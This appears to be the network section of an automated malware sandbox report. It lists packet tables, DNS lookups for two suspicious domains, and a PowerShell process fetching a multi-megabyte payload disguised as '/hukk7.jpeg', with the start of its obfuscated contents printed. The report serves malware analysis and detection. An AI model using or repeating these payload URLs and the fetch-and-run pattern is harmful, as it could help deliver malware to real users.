Jan 9, 2025 09:31:25.244899988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.248964071 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.248977900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.249030113 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.249036074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.249077082 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.272643089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.272675991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.272717953 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.272727966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.272751093 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.272764921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.273078918 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.273092985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.273154974 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.273159981 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.273204088 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.321305037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.321322918 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.321386099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.321394920 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.321429968 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.324719906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.324738026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.324807882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.324815035 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.324845076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.331060886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331084013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331146955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.331156015 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331192970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.331382990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331417084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331443071 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.331446886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331474066 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.331489086 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.331810951 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331826925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331897020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.331902027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.331923962 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.331950903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.336055040 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.336101055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.336141109 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.336146116 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.336185932 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.336208105 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.359571934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.359589100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.359625101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.359654903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.359666109 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.359695911 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.359703064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.359719992 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.359755993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.377629995 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:32:50.032181025 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:32:50.032221079 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:32:50.032294989 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:32:50.033272982 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:32:50.033287048 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:32:50.514710903 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:32:50.514785051 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:32:50.517057896 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:32:50.517066002 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:32:50.517313957 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:32:50.571918011 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:32:50.571958065 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:32:50.572017908 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:10.552902937 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:10.553002119 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:10.553061962 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:10.570811033 CET	49992	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:10.570827961 CET	443	49992	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:10.615509987 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:10.615562916 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:10.615669012 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:10.616695881 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:10.616712093 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.073050976 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.073137999 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.074456930 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.074472904 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.074714899 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.075934887 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.075956106 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.076008081 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.505948067 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.505995035 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506021023 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506045103 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.506052971 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506064892 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506091118 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.506108046 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506151915 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.506171942 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506259918 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506298065 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.506309986 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506740093 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.506786108 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.506802082 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.510819912 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.510868073 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.510890961 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.592307091 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.592344999 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.592374086 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.592372894 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.592403889 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.592427015 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.592482090 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.592530012 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.592973948 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.592999935 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:11.593023062 CET	49993	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:11.593031883 CET	443	49993	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:12.314524889 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:12.314594030 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:12.314661980 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:12.315417051 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:12.315432072 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:12.768659115 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:12.768758059 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:12.770833969 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:12.770844936 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:12.771089077 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:12.772591114 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:12.772725105 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:12.772752047 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.158468008 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.158586979 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.158690929 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.158871889 CET	49994	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.158895016 CET	443	49994	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.172034979 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.172082901 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.172182083 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.172477961 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.172508001 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.638434887 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.638530970 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.639874935 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.639887094 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.640125990 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.641383886 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.641525030 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.641561985 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:13.641619921 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:13.687340975 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.146405935 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.146501064 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.146555901 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.146697044 CET	49995	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.146714926 CET	443	49995	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.197514057 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.197559118 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.197637081 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.197904110 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.197920084 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.653403044 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.653481960 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.657016993 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.657031059 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.657311916 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.658730030 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.659044027 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.659081936 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:14.659154892 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:14.659164906 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.271699905 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.271781921 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.271842003 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.271989107 CET	49996	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.272007942 CET	443	49996	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.353590012 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.353631020 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.353765011 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.354069948 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.354078054 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.831922054 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.832011938 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.833395958 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.833406925 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.833652020 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:15.834861040 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.834988117 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:15.834992886 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:16.280419111 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:16.280529976 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:16.280616045 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:16.280787945 CET	49997	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:16.280802011 CET	443	49997	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:16.582767963 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:16.582834959 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:16.582907915 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:16.583287001 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:16.583323956 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.059758902 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.059842110 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.061094999 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.061104059 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.061367035 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.062618017 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.063343048 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.063374996 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.063477039 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.063510895 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.063616037 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.063637972 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.063759089 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.063792944 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.063913107 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.063942909 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.064075947 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.064104080 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.064112902 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.064125061 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.064238071 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.064279079 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.064296961 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.064311981 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.064405918 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.064431906 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.073457956 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.073594093 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.073628902 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:17.073652029 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.073692083 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:17.078334093 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:18.712091923 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:18.712202072 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:18.712255001 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:18.712341070 CET	49998	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:18.712357998 CET	443	49998	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:18.719299078 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:18.719343901 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:18.719410896 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:18.719824076 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:18.719836950 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:19.173990011 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:19.174072027 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:19.187021971 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:19.187067032 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:19.187340021 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:19.189101934 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:19.189136982 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:19.189196110 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:19.609981060 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:19.610088110 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:19.610485077 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:19.610687971 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:19.610713959 CET	443	50001	104.21.32.1	192.168.2.6
Jan 9, 2025 09:33:19.610723972 CET	50001	443	192.168.2.6	104.21.32.1
Jan 9, 2025 09:33:19.610729933 CET	443	50001	104.21.32.1	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 09:31:17.571557999 CET	64595	53	192.168.2.6	1.1.1.1
Jan 9, 2025 09:31:17.580384016 CET	53	64595	1.1.1.1	192.168.2.6
Jan 9, 2025 09:32:50.009254932 CET	53356	53	192.168.2.6	1.1.1.1
Jan 9, 2025 09:32:50.027379036 CET	53	53356	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 09:31:17.571557999 CET	192.168.2.6	1.1.1.1	0xada6	Standard query (0)	s7.klipdywoziy.shop	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:32:50.009254932 CET	192.168.2.6	1.1.1.1	0xad91	Standard query (0)	hoppricerwir.cyou	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 09:31:17.580384016 CET	1.1.1.1	192.168.2.6	0xada6	No error (0)	s7.klipdywoziy.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:31:17.580384016 CET	1.1.1.1	192.168.2.6	0xada6	No error (0)	s7.klipdywoziy.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:32:50.027379036 CET	1.1.1.1	192.168.2.6	0xad91	No error (0)	hoppricerwir.cyou	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:32:50.027379036 CET	1.1.1.1	192.168.2.6	0xad91	No error (0)	hoppricerwir.cyou	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:32:50.027379036 CET	1.1.1.1	192.168.2.6	0xad91	No error (0)	hoppricerwir.cyou	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:32:50.027379036 CET	1.1.1.1	192.168.2.6	0xad91	No error (0)	hoppricerwir.cyou	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:32:50.027379036 CET	1.1.1.1	192.168.2.6	0xad91	No error (0)	hoppricerwir.cyou	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:32:50.027379036 CET	1.1.1.1	192.168.2.6	0xad91	No error (0)	hoppricerwir.cyou	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 09:32:50.027379036 CET	1.1.1.1	192.168.2.6	0xad91	No error (0)	hoppricerwir.cyou	104.21.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

s7.klipdywoziy.shop

hoppricerwir.cyou

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49723	188.114.96.3	443	5936	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:31:18 UTC	79	OUT	GET /hukk7.jpeg HTTP/1.1 Host: s7.klipdywoziy.shop Connection: Keep-Alive
2025-01-09 08:31:18 UTC	996	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:31:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9921288 Connection: close X-Powered-By: Express ETag: W/"976308-1cU6I7vSQu7527VSywkt5pFa2GE" Set-Cookie: connect.sid=s%3ATdK1iRUk0tTU8CJZbtCEfhjou_88CEBA.r%2FqQyVYEsyOuK%2FMlmVmko2M83E65sAphRgthWRRH%2B%2Bg; Path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zBfhqpM6%2BgzZ0fcuPFQBJzh14PIN6bCo4WRZftUYpSKcI4Yt8uUZB%2BMOP4RrKYotl%2Fnb4%2FKDvXVQMoxgdMOa6EHItPHNnTYfayf%2BT4YOGFd4nOU6RYqtXZqDseor%2FuW8YaGn8%2BYo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff311fad90443e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1610&min_rtt=1609&rtt_var=606&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=693&delivery_rate=1802469&cwnd=228&unsent_bytes=0&cid=fa8a903b6e61d835&ts=399&x=0"
2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 24 4c 4e 77 56 41 53 79 41 70 73 35 64 36 47 6a 53 4a 50 35 78 47 4f 53 33 55 38 6f 57 71 74 4d 30 71 61 37 62 5a 68 49 73 30 70 49 59 79 47 73 48 73 71 61 70 37 35 44 76 36 50 47 47 73 54 37 6a 4c 51 4b 54 34 55 62 51 49 66 51 57 65 59 77 73 62 72 5a 4a 4c 78 6b 69 42 65 69 30 71 4a 77 36 78 66 4f 55 39 6b 59 79 42 4b 75 4e 43 56 34 6c 79 46 61 51 54 65 4d 50 74 78 57 6e 54 45 68 47 6a 59 43 49 41 6f 48 4f 42 57 75 57 6d 4f 39 33 77 54 44 39 32 49 31 35 73 7a 43 64 33 75 41 57 58 72 42 33 36 4c 67 32 74 61 65 74 43 78 61 32 6c 41 6a 30 36 51 49 57 78 49 6d 49 58 58 59 7a 31 30 38 36 67 78 73 62 6e 54 48 49 34 79 37 46 42 4f 54 75 32 56 4f 37 59 51 6c 4d 4c 55 30 52 30 55 67 46 37 66 6b 63 54 31 52 38 65 6d 69 66 65 63 6f 48 54 4a 4e 43 45 4e 51 51 48 52 Data Ascii: $LNwVASyAps5d6GjSJP5xGOS3U8oWqtM0qa7bZhIs0pIYyGsHsqap75Dv6PGGsT7jLQKT4UbQIfQWeYwsbrZJLxkiBei0qJw6xfOU9kYyBKuNCV4lyFaQTeMPtxWnTEhGjYCIAoHOBWuWmO93wTD92I15szCd3uAWXrB36Lg2taetCxa2lAj06QIWxImIXXYz1086gxsbnTHI4y7FBOTu2VO7YQlMLU0R0UgF7fkcT1R8emifecoHTJNCENQQHR
